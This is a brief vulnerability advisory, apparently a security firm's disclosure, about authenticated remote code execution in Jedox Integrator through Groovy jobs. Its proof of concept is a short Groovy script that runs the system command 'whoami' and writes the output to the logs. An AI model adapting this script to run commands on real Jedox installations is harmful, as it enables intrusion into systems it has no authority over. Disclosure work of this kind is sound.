Introduction
=================
Jedox Integrator allows remote authenticated users to create Jobs to execute arbitrary code via Groovy-scripts. To exploit the vulnerability, the attacker must be able to create a Groovy-Job in Integrator.


Write-Up
=================
See [Docs Syslifters](https://docs.syslifters.com/) for a detailed write-up on how to exploit vulnerability.


Proof of Concept
=================
1) A user with appropriate permissions can create Groovy jobs in the Integrator with arbitrary script code. Run the following groovy script to execute `whoami`. The output of the command can be viewed in the logs:

def sout = new StringBuilder(), serr = new StringBuilder()
def proc = 'whoami'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(10000)
LOG.error(sout.toString());
LOG.error(serr.toString());
